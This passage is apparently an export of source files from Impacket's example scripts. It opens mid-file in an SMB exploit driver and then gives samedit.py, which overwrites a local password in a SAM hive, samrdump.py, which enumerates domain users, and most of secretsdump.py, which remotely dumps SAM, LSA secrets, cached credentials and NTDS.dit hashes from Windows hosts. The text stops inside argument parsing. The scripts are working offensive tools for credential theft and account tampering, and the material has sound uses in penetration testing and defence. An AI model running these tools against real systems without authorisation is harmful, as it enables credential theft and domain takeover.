group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\",\n                       help='Use Kerberos authentication. Grabs credentials from ccache file '\n                            '(KRB5CCNAME) based on target parameters. If valid credentials '\n                            'cannot be found, it will use the ones specified in the command '\n                            'line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                          '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, address = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = address\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if options.hashes is not None:\n        lmhash, nthash = options.hashes.split(':')\n    else:\n        lmhash = ''\n        nthash = ''\n\n    try:\n        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)\n        if options.k is True:\n            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)\n        else:\n            smbClient.login(username, password, domain, lmhash, nthash)\n\n        if smbClient.getDialect() != SMB_DIALECT:\n            # Let's disable SMB3 Encryption for now\n            smbClient._SMBConnection._Session['SessionFlags'] &=  ~SMB2_SESSION_FLAG_ENCRYPT_DATA\n        pipeDream = PIPEDREAM(smbClient, options)\n        pipeDream.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/samedit.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright (C) 2024 Fortra. All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Simple implementation for replacing a local user's password through\n#   editing of a copy of the SAM and SYSTEM hives.\n#\n#   It still needs some improvement to handle some scenarios and expanded\n#   to allow user creation/password setting as it currently only allows\n#   for the replacing of an existing password for an existing user.\n#\n# Author:\n#   Otavio Brito (@Iorpim)\n#\n# References:\n#   The code is largely based on previous impacket work, namely\n#   the secretsdump and winregistry packages. (both by @agsolino)\n#\n\nimport sys\nimport codecs\nimport argparse\nimport logging\nimport binascii\n\nfrom impacket import version, ntlm\nfrom impacket.examples import logger\n\nfrom impacket.examples.secretsdump import LocalOperations, SAMHashes\n\ntry:\n    input = raw_input\nexcept NameError:\n    pass\n\n\nif __name__ == '__main__':\n    if sys.stdout.encoding is None:\n        sys.stdout = codecs.getWriter('utf8')(sys.stdout)\n    \n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"In-place edits a local user's password in a SAM hive file\")\n\n    parser.add_argument('user', action='store', help='Name of the user account to replace the password')\n    parser.add_argument('sam', action='store', help='SAM hive file to edit')\n\n    parser.add_argument('-password', action='store', help='New password to be set')\n    parser.add_argument('-hashes', action='store', help='Replace NTLM hash directly (LM hash is optional)')\n\n    parser.add_argument('-system', action='store', help='SYSTEM hive file containing the bootkey for password encryption')\n    parser.add_argument('-bootkey', action='store', help='Bootkey used to encrypt and decrypt SAM passwords')\n\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n\n    if len(sys.argv) < 4:\n        parser.print_help()\n        sys.exit(1)\n    \n    options = parser.parse_args()\n\n    logger.init(options.ts)\n\n    if options.debug is True:\n        logging.getLogger().setLevel(logging.DEBUG)\n        logging.debug(version.getInstallationPath())\n    else:\n        logging.getLogger().setLevel(logging.INFO)\n    \n    if options.system is None and options.bootkey is None:\n        logging.critical('A SYSTEM hive or bootkey value is required for password changing')\n        sys.exit(1)\n    \n    if options.system is not None and options.bootkey is not None:\n        logging.critical('Only a SYSTEM hive or bootkey value can be supplied')\n        sys.exit(1)\n    \n    if options.password is None and options.hashes is None:\n        logging.critical('A password or hash argument is required')\n        sys.exit(1)\n    \n    if options.password is not None and options.hashes is not None:\n        logging.critical('Only a password or hash argument can be supplied')\n        sys.exit(1)\n    \n    if options.bootkey:\n        bootkey = binascii.unhexlify(options.bootkey)\n    else:\n        localOperations = LocalOperations(options.system)\n        bootkey = localOperations.getBootKey()\n    \n    hive = SAMHashes(options.sam, bootkey, False)\n\n    if options.hashes:\n        if ':' not in options.hashes:\n            LMHash = b''\n            NTHash = binascii.unhexlify(options.hashes)\n        else:\n            LMHash, NTHash = [binascii.unhexlify(hash) for hash in options.hashes.split(\":\")]\n    \n    if options.password:\n        LMHash = b''\n        NTHash = ntlm.NTOWFv1(options.password)\n\n    try:\n        hive.edit(options.user, NTHash, LMHash)\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(e)\n\n    hive.finish()"
  },
  {
    "path": "examples/samrdump.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   DCE/RPC SAMR dumper.\n#\n# Author:\n#   Javier Kohen\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   DCE/RPC for SAMR\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport logging\nimport argparse\nimport codecs\n\nfrom datetime import datetime\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket import version\nfrom impacket.nt_errors import STATUS_MORE_ENTRIES\nfrom impacket.dcerpc.v5 import transport, samr\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nclass ListUsersException(Exception):\n    pass\n\nclass SAMRDump:\n    def __init__(self, username='', password='', domain='', hashes=None,\n                 aesKey=None, doKerberos=False, kdcHost=None, port=445, csvOutput=False):\n\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__port = port\n        self.__csvOutput = csvOutput\n\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    @staticmethod\n    def getUnixTime(t):\n        t -= 116444736000000000\n        t /= 10000000\n        return t\n\n    def dump(self, remoteName, remoteHost):\n        \"\"\"Dumps the list of users and shares registered present at\n        remoteName. remoteName is a valid host name or IP address.\n        \"\"\"\n\n        entries = []\n\n        logging.info('Retrieving endpoint list from %s' % remoteName)\n\n        stringbinding = r'ncacn_np:%s[\\pipe\\samr]' % remoteName\n        logging.debug('StringBinding %s'%stringbinding)\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n        rpctransport.set_dport(self.__port)\n        rpctransport.setRemoteHost(remoteHost)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,\n                                         self.__nthash, self.__aesKey)\n        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n\n        try:\n            entries = self.__fetchList(rpctransport)\n        except Exception as e:\n            logging.critical(str(e))\n\n        # Display results.\n\n        if self.__csvOutput is True:\n            print('#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount,PasswordLastSet,PasswordDoesNotExpire,AccountIsDisabled,AdminComment,UserComment,ScriptPath')\n\n        for entry in entries:\n            (username, uid, user) = entry\n            pwdLastSet = (user['PasswordLastSet']['HighPart'] << 32) + user['PasswordLastSet']['LowPart']\n            if pwdLastSet == 0:\n                pwdLastSet = '<never>'\n            else:\n                pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(pwdLastSet)))\n\n            if user['UserAccountControl'] & samr.USER_DONT_EXPIRE_PASSWORD:\n                dontExpire = 'True'\n            else:\n                dontExpire = 'False'\n\n            if user['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED:\n                accountDisabled = 'True'\n            else:\n                accountDisabled = 'False'\n\n            if self.__csvOutput is True:\n                print('%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s' % (username, uid, user['FullName'], user['PrimaryGroupId'],\n                                                      user['BadPasswordCount'], user['LogonCount'],pwdLastSet,\n                                                      dontExpire, accountDisabled, user['UserComment'].replace(',','.'),user['AdminComment'].replace(',','.'),\n                                                      user['ScriptPath']  ))\n            else:\n                base = \"%s (%d)\" % (username, uid)\n                print(base + '/FullName:', user['FullName'])\n                print(base + '/AdminComment:', user['AdminComment'])\n                print(base + '/UserComment:', user['UserComment'])\n                print(base + '/PrimaryGroupId:', user['PrimaryGroupId'])\n                print(base + '/BadPasswordCount:', user['BadPasswordCount'])\n                print(base + '/LogonCount:', user['LogonCount'])\n                print(base + '/PasswordLastSet:',pwdLastSet)\n                print(base + '/PasswordDoesNotExpire:',dontExpire)\n                print(base + '/AccountIsDisabled:',accountDisabled)\n                print(base + '/ScriptPath:', user['ScriptPath'])\n\n        if entries:\n            num = len(entries)\n            if 1 == num:\n                logging.info('Received one entry.')\n            else:\n                logging.info('Received %d entries.' % num)\n        else:\n            logging.info('No entries received.')\n\n\n    def __fetchList(self, rpctransport):\n        dce = rpctransport.get_dce_rpc()\n\n        entries = []\n\n        dce.connect()\n        dce.bind(samr.MSRPC_UUID_SAMR)\n\n        try:\n            resp = samr.hSamrConnect(dce)\n            serverHandle = resp['ServerHandle'] \n\n            resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)\n            domains = resp['Buffer']['Buffer']\n\n            print('Found domain(s):')\n            for domain in domains:\n                print(\" . %s\" % domain['Name'])\n\n            logging.info(\"Looking up users in domain %s\" % domains[0]['Name'])\n\n            resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )\n\n            resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])\n            domainHandle = resp['DomainHandle']\n\n            status = STATUS_MORE_ENTRIES\n            enumerationContext = 0\n            while status == STATUS_MORE_ENTRIES:\n                try:\n                    resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)\n                except DCERPCException as e:\n                    if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                        raise \n                    resp = e.get_packet()\n\n                for user in resp['Buffer']['Buffer']:\n                    r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])\n                    print(\"Found user: %s, uid = %d\" % (user['Name'], user['RelativeId'] ))\n                    info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)\n                    entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])\n                    entries.append(entry)\n                    samr.hSamrCloseHandle(dce, r['UserHandle'])\n\n                enumerationContext = resp['EnumerationContext'] \n                status = resp['ErrorCode']\n\n        except ListUsersException as e:\n            logging.critical(\"Error listing users: %s\" % e)\n\n        dce.disconnect()\n\n        return entries\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    # Explicitly changing the stdout encoding format\n    if sys.stdout.encoding is None:\n        # Output is redirected to a file\n        sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"This script downloads the list of users for the \"\n                                                                    \"target system.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-csv', action='store_true', help='Turn CSV output')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\", help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\", help='IP Address of the target machine. If '\n                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '\n                       'name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    dumper = SAMRDump(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port), options.csv)\n    dumper.dump(remoteName, options.target_ip)\n"
  },
  {
    "path": "examples/secretsdump.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Performs various techniques to dump hashes from the\n#   remote machine without executing any agent there.\n#   For SAM and LSA Secrets (including cached creds)\n#   we try to read as much as we can from the registry\n#   and then we save the hives in the target system\n#   (%SYSTEMROOT%\\\\Temp dir) and read the rest of the\n#   data from there.\n#   For NTDS.dit we either:\n#       a. Get the domain users list and get its hashes\n#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()\n#          call, replicating just the attributes we need.\n#       b. Extract NTDS.dit via vssadmin executed  with the\n#          smbexec approach.\n#          It's copied on the temp dir and parsed remotely.\n#\n#   The script initiates the services required for its working\n#   if they are not available (e.g. Remote Registry, even if it is\n#   disabled). After the work is done, things are restored to the\n#   original state.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# References:\n#   Most of the work done by these guys. I just put all\n#   the pieces together, plus some extra magic.\n#\n#   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync\n#   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html\n#   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html\n#   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html\n#   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13\n#   - https://code.google.com/p/creddump/\n#   - https://lab.mediaservice.net/code/cachedump.rb\n#   - https://insecurety.net/?p=768\n#   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm\n#   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf\n#   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport codecs\nimport logging\nimport os\nimport sys\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.ldap.ldap import LDAPConnection, LDAPSessionError\n\nfrom impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, \\\n    KeyListSecrets\nfrom impacket.krb5.keytab import Keytab\ntry:\n    input = raw_input\nexcept NameError:\n    pass\n\n\nclass DumpSecrets:\n    def __init__(self, remoteName, username='', password='', domain='', options=None):\n        self.__useVSSMethod = options.use_vss\n        self.__useKeyListMethod = options.use_keylist\n        self.__remoteName = remoteName\n        self.__remoteHost = options.target_ip\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = options.aesKey\n        self.__aesKeyRodc = options.rodcKey\n        self.__smbConnection = None\n        self.__ldapConnection = None\n        self.__remoteOps = None\n        self.__SAMHashes = None\n        self.__NTDSHashes = None\n        self.__LSASecrets = None\n        self.__KeyListSecrets = None\n        self.__rodc = options.rodcNo\n        self.__systemHive = options.system\n        self.__bootkey = options.bootkey\n        self.__securityHive = options.security\n        self.__samHive = options.sam\n        self.__ntdsFile = options.ntds\n        self.__skipSam = options.skip_sam\n        self.__skipSecurity = options.skip_security\n        self.__history = options.history\n        self.__noLMHash = True\n        self.__isRemote = True\n        self.__outputFileName = options.outputfile\n        self.__doKerberos = options.k\n        self.__justDC = options.just_dc\n        self.__justDCNTLM = options.just_dc_ntlm\n        self.__justUser = options.just_dc_user\n        self.__ldapFilter = options.ldapfilter\n        self.__skipUser = options.skip_user\n        self.__pwdLastSet = options.pwd_last_set\n        self.__printUserStatus = options.user_status\n        self.__resumeFileName = options.resumefile\n        self.__canProcessSAMLSA = True\n        self.__kdcHost = options.dc_ip\n        self.__remoteSSWMI = options.use_remoteSSWMI\n        self.__remoteSSWMINTDS = options.use_remoteSSWMI_NTDS\n        self.__remoteSSMethodWMIRemoteVolume = options.remoteSSWMI_remote_volume\n        self.__remoteSSMethodWMIDownloadPath = options.remoteSSWMI_local_path\n        self.__options = options\n\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def connect(self):\n        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)\n        if self.__doKerberos:\n            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                               self.__nthash, self.__aesKey, self.__kdcHost)\n        else:\n            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n    def ldapConnect(self):\n        if self.__doKerberos:\n            self.__target = self.__remoteHost\n        else:\n            if self.__kdcHost is not None:\n                self.__target = self.__kdcHost\n            else:\n                self.__target = self.__domain\n\n        # Create the baseDN\n        if self.__domain:\n            domainParts = self.__domain.split('.')\n        else:\n            domain = self.__target.split('.', 1)[-1]\n            domainParts = domain.split('.')\n        self.baseDN = ''\n        for i in domainParts:\n            self.baseDN += 'dc=%s,' % i\n        # Remove last ','\n        self.baseDN = self.baseDN[:-1]\n\n        try:\n            self.__ldapConnection = LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost)\n            if self.__doKerberos is not True:\n                self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n            else:\n                self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                                                    self.__aesKey, kdcHost=self.__kdcHost)\n        except LDAPSessionError as e:\n            if str(e).find('strongerAuthRequired') >= 0:\n                # We need to try SSL\n                self.__ldapConnection = LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost)\n                if self.__doKerberos is not True:\n                    self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n                else:\n                    self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                                                        self.__aesKey, kdcHost=self.__kdcHost)\n            else:\n                raise\n\n    def dump(self):\n        try:\n            # Almost like LOCAL but create (and deletes it after finishing) a Shadow Snapshot at target and download SAM, SYSTEM and SECURITY from the SS. No Code Execution.\n            # If specified, NTDS will be also downloaded and parsed (no code execution needed, in contrast to vssadmin method). Use it when targeting a DC.\n            # Then, parse locally\n            if self.__remoteSSWMI:\n                self.__isRemote = False\n                self.__useVSSMethod = True\n                try:\n                    self.connect()\n                except Exception as e:\n                    if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:\n                        # SMBConnection failed. That might be because there was no way to log into the\n                        # target system. We just have a last resort. Hope we have tickets cached and that they\n                        # will work\n                        logging.debug('SMBConnection didn\\'t work, hoping Kerberos will help (%s)' % str(e))\n                        pass\n                    else:\n                        raise\n\n                self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost,\n                                                    self.__ldapConnection)\n                self.__remoteOps.setExecMethod(self.__options.exec_method)\n                sam_path, system_path, security_path, *ntds_path = self.__remoteOps.createSSandDownloadWMI(self.__remoteSSMethodWMIRemoteVolume,\n                                                                                                           self.__remoteSSMethodWMIDownloadPath, self.__remoteSSWMINTDS)\n                self.__samHive = sam_path\n                self.__systemHive = system_path\n                self.__securityHive = security_path\n                self.__ntdsFile = ntds_path[0] if ntds_path else None\n\n                localOperations = LocalOperations(self.__systemHive)\n                bootKey = localOperations.getBootKey()\n                if self.__ntdsFile is not None:\n                    # Let's grab target's configuration about LM Hashes storage\n                    self.__noLMHash = localOperations.checkNoLMHashPolicy()\n\n            elif self.__remoteName.upper() == 'LOCAL' and self.__username == '':\n                self.__isRemote = False\n                self.__useVSSMethod = True\n\n                if self.__systemHive:\n                    localOperations = LocalOperations(self.__systemHive)\n                    bootKey = localOperations.getBootKey()\n                    if self.__ntdsFile is not None:\n                        # Let's grab target's configuration about LM Hashes storage\n                        self.__noLMHash = localOperations.checkNoLMHashPolicy()\n                else:\n                    import binascii\n                    bootKey = binascii.unhexlify(self.__bootkey)\n\n            else:\n                self.__isRemote = True\n                bootKey = None\n                if self.__ldapFilter is not None:\n                    logging.info('Querying %s for information about domain users via LDAP' % self.__domain)\n                    try:\n                        self.ldapConnect()\n                    except Exception as e:\n                        logging.error('LDAP connection failed: %s' % str(e))\n                try:\n                    try:\n                        self.connect()\n                    except Exception as e:\n                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:\n                            # SMBConnection failed. That might be because there was no way to log into the\n                            # target system. We just have a last resort. Hope we have tickets cached and that they\n                            # will work\n                            logging.debug('SMBConnection didn\\'t work, hoping Kerberos will help (%s)' % str(e))\n                            pass\n                        else:\n                            raise\n\n                    self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost, self.__ldapConnection)\n                    self.__remoteOps.setExecMethod(self.__options.exec_method)\n                    if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True:\n                        self.__remoteOps.enableRegistry()\n                        bootKey = self.__remoteOps.getBootKey()\n                        # Let's check whether target system stores LM Hashes\n                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()\n                except Exception as e:\n                    self.__canProcessSAMLSA = False\n                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \\\n                            and self.__doKerberos is True:\n                        # Giving some hints here when SPN target name validation is set to something different to Off\n                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/\n                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')\n                    else:\n                        logging.error('RemoteOperations failed: %s' % str(e))\n\n            # If the KerberosKeyList method is enable we dump the secrets only via TGS-REQ\n            if self.__useKeyListMethod is True:\n                try:\n                    self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps)\n                    self.__KeyListSecrets.dump()\n                except Exception as e:\n                    logging.error('Something went wrong with the Kerberos Key List approach.: %s' % str(e))\n            else:\n                # If RemoteOperations succeeded, then we can extract SAM and LSA\n                if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:\n                    if not self.__skipSam:\n                        try:\n                            if self.__isRemote is True:\n                                SAMFileName = self.__remoteOps.saveSAM()\n                            else:\n                                SAMFileName = self.__samHive\n                            self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote=self.__isRemote,history=self.__history, printUserStatus=self.__printUserStatus)\n                            self.__SAMHashes.dump()\n                            if self.__outputFileName is not None:\n                                self.__SAMHashes.export(self.__outputFileName)\n                        except Exception as e:\n                            logging.error('SAM hashes extraction failed: %s' % str(e))\n\n                    if not self.__skipSecurity:\n                        try:\n                            if self.__isRemote is True:\n                                SECURITYFileName = self.__remoteOps.saveSECURITY()\n                            else:\n                                SECURITYFileName = self.__securityHive\n\n                            self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,\n                                                           isRemote=self.__isRemote, history=self.__history)\n                            self.__LSASecrets.dumpCachedHashes()\n                            if self.__outputFileName is not None:\n                                self.__LSASecrets.exportCached(self.__outputFileName)\n                            self.__LSASecrets.dumpSecrets()\n                            if self.__outputFileName is not None:\n                                self.__LSASecrets.exportSecrets(self.__outputFileName)\n                        except Exception as e:\n                            if logging.getLogger().level == logging.DEBUG:\n                                import traceback\n                                traceback.print_exc()\n                            logging.error('LSA hashes extraction failed: %s' % str(e))\n\n                # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work\n                if self.__isRemote is True:\n                    if self.__useVSSMethod and self.__remoteOps is not None and self.__remoteOps.getRRP() is not None:\n                        NTDSFileName = self.__remoteOps.saveNTDS()\n                    else:\n                        NTDSFileName = None\n                else:\n                    NTDSFileName = self.__ntdsFile\n\n                self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,\n                                               noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,\n                                               useVSSMethod=self.__useVSSMethod, remoteSSMethodWMINTDS=self.__remoteSSWMINTDS, justNTLM=self.__justDCNTLM,\n                                               pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,\n                                               outputFileName=self.__outputFileName, justUser=self.__justUser,\n                                               skipUser=self.__skipUser, ldapFilter=self.__ldapFilter,\n                                               printUserStatus=self.__printUserStatus)\n                try:\n                    self.__NTDSHashes.dump()\n                except Exception as e:\n                    if logging.getLogger().level == logging.DEBUG:\n                        import traceback\n                        traceback.print_exc()\n                    if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:\n                        # We don't store the resume file if this error happened, since this error is related to lack\n                        # of enough privileges to access DRSUAPI.\n                        resumeFile = self.__NTDSHashes.getResumeSessionFile()\n                        if resumeFile is not None:\n                            os.unlink(resumeFile)\n                    logging.error(e)\n                    if (self.__justUser or self.__ldapFilter) and str(e).find(\"ERROR_DS_NAME_ERROR_NOT_UNIQUE\") >= 0:\n                        logging.info(\"You just got that error because there might be some duplicates of the same name. \"\n                                     \"Try specifying the domain name for the user as well. It is important to specify it \"\n                                     \"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).\")\n                    elif self.__useVSSMethod is False:\n                        logging.info('Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter')\n                self.cleanup()\n        except (Exception, KeyboardInterrupt) as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.error(e)\n            if self.__NTDSHashes is not None:\n                if isinstance(e, KeyboardInterrupt):\n                    while True:\n                        answer = input(\"Delete resume session file? [y/N] \")\n                        if answer.upper() == '':\n                            answer = 'N'\n                            break\n                        elif answer.upper() == 'Y':\n                            answer = 'Y'\n                            break\n                        elif answer.upper() == 'N':\n                            answer = 'N'\n                            break\n                    if answer == 'Y':\n                        resumeFile = self.__NTDSHashes.getResumeSessionFile()\n                        if resumeFile is not None:\n                            os.unlink(resumeFile)\n            try:\n                self.cleanup()\n            except:\n                pass\n\n    def cleanup(self):\n        logging.info('Cleaning up... ')\n        if self.__remoteOps:\n            self.__remoteOps.finish()\n        if self.__SAMHashes:\n            self.__SAMHashes.finish()\n        if self.__LSASecrets:\n            self.__LSASecrets.finish()\n        if self.__NTDSHashes:\n            self.__NTDSHashes.finish()\n        if self.__KeyListSecrets:\n            self.__KeyListSecrets.finish()\n\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    # Explicitly changing the stdout encoding format\n    if sys.stdout.encoding is None:\n        # Output is redirected to a file\n        sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Performs various techniques to dump secrets from \"\n                                     \"the remote machine without executing any agent there.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'\n                                                       ' (if you want to parse local files)')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-system', action='store', help='SYSTEM hive to parse'\n                                                        ' (only binary REGF, as .reg text file lacks the metadata to compute the bootkey)')\n    parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')\n    parser.add_argument('-security', action='store', help='SECURITY hive to parse')\n    parser.add_argument('-sam', action='store', help='SAM hive to parse')\n    parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse')\n    parser.add_argument('-resumefile', 